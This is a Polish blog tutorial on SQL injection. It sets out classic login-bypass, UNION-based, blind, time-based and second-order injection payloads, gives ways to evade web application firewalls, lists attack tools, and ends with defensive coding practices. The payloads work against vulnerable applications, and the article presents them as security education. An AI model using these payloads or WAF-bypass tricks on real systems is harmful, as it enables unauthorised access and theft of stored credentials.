Techniki SQL Injection w praktyce: od podstaw do zaawansowanych scenariuszy
Hacking

Techniki SQL Injection w praktyce: od podstaw do zaawansowanych scenariuszy

🧨 Techniki SQL Injection w praktyce: od podstaw do zaawansowanych scenariuszy

SQL Injection to jedna z najbardziej znanych i niebezpiecznych technik wykorzystywanych przez hakerów do manipulowania zapytaniami SQL aplikacji internetowych. Pomimo że ataki te są dobrze znane i opisane, wciąż są szeroko wykorzystywane z powodu niewłaściwego zabezpieczenia aplikacji. W tym artykule omówimy praktyczne techniki SQL Injection – od podstawowych po zaawansowane, wraz z przykładami i narzędziami.


💡 Czym jest SQL Injection?

SQL Injection (SQLi) to luka bezpieczeństwa polegająca na wstrzyknięciu złośliwego kodu SQL do zapytania wykonywanego przez aplikację. Umożliwia to:

  • odczyt danych z bazy,
  • modyfikację lub usunięcie danych,
  • eskalację uprawnień,
  • przejęcie kontroli nad systemem.
Techniki SQL Injection w praktyce: od podstaw do zaawansowanych scenariuszy
Techniki SQL Injection w praktyce: od podstaw do zaawansowanych scenariuszy

🧱 Podstawowe scenariusze SQL Injection

📥 1. Klasyczny SQL Injection

Przykład:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

Jeśli użytkownik poda:

' OR '1'='1

to zapytanie zmieni się na:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

👉 Efekt: Logowanie bez znajomości hasła.


🔍 2. Wyświetlanie danych – tzw. „Union-based” SQL Injection

Cel: Uzyskanie danych z innych tabel bazy danych.

Przykład:

' UNION SELECT null, username, password FROM admin--

Warunek: Taka sama liczba kolumn jak w oryginalnym zapytaniu.

Czytaj  🛡️ Ataki na komponenty IPC (Inter-Process Communication) w Androidzie (Binder, Content Providers)

🧠 3. Blind SQL Injection (true/false)

Gdy aplikacja nie wyświetla wyników zapytania, ale można wykryć, czy warunek był prawdziwy.

Przykład:

' AND 1=1 -- (zwraca dane)
' AND 1=2 -- (brak danych)

Można stopniowo „zgadywać” wartości znak po znaku przy pomocy warunków typu:

' AND SUBSTRING((SELECT database()),1,1)='m'--

🔬 Zaawansowane techniki SQL Injection

📡 4. Time-based Blind SQLi

Użycie opóźnień czasowych do potwierdzania warunków logicznych.

Przykład (MySQL):

' OR IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0)--

Zastosowanie: Gdy aplikacja nie zwraca błędów ani danych, ale pozwala mierzyć czas odpowiedzi.


🎯 5. Second Order SQL Injection

Atak SQLi, którego payload zostaje zapisany w bazie i wykorzystany później w innym zapytaniu.

Przykład scenariusza:

  1. Wprowadzenie złośliwego email='admin' -- w formularzu rejestracji.
  2. W innym miejscu aplikacja wykorzystuje ten email w zapytaniu SQL – dochodzi do SQLi.

🔄 6. Bypassing WAF (Web Application Firewall)

Omijanie filtrów WAF przez:

  • zamianę ' na %27,
  • rozdzielenie słów kluczowych: UN/**/ION/**/SELECT,
  • użycie zmiennych (np. 0x61646d696e zamiast 'admin').

🛠️ Narzędzia do testów SQL Injection

  • SQLMap – automatyzuje wykrywanie i exploitację SQLi.
  • Burp Suite – analiza żądań HTTP i testowanie payloadów.
  • Havij – GUI do exploitacji SQL Injection (popularne w edukacji).
  • NoSQLMap – SQLi w bazach NoSQL.

🧱 Techniki zabezpieczeń przed SQL Injection

Stosuj zapytania parametryzowane (prepared statements)
Używaj ORM (np. SQLAlchemy, Hibernate)
Waliduj dane wejściowe
Ograniczaj uprawnienia użytkownika bazy danych
Monitoruj logi i anomalie w zapytaniach


Podsumowanie

SQL Injection to potężna i wciąż bardzo skuteczna technika hackingowa. Znajomość zarówno podstawowych, jak i zaawansowanych scenariuszy pozwala lepiej chronić aplikacje internetowe. Regularne testy bezpieczeństwa, stosowanie najlepszych praktyk kodowania oraz użycie narzędzi automatyzujących testy to fundament skutecznej ochrony.

 

Polecane wpisy
Cyberataki na systemy SCADA i ICS – zagrożenia dla przemysłu w 2025 roku
Cyberataki na systemy SCADA i ICS – zagrożenia dla przemysłu w 2025 roku

🔐 Cyberataki na systemy SCADA i ICS – zagrożenia dla przemysłu w 2025 roku Systemy SCADA (Supervisory Control and Data Czytaj dalej

Marek "Netbe" Lampart Inżynier informatyki Marek Lampart to doświadczony inżynier informatyki z ponad 25-letnim stażem w zawodzie. Specjalizuje się w systemach Windows i Linux, bezpieczeństwie IT, cyberbezpieczeństwie, administracji serwerami oraz diagnostyce i optymalizacji systemów. Na netbe.pl publikuje praktyczne poradniki, analizy i instrukcje krok po kroku, pomagając administratorom, specjalistom IT oraz zaawansowanym użytkownikom rozwiązywać realne problemy techniczne.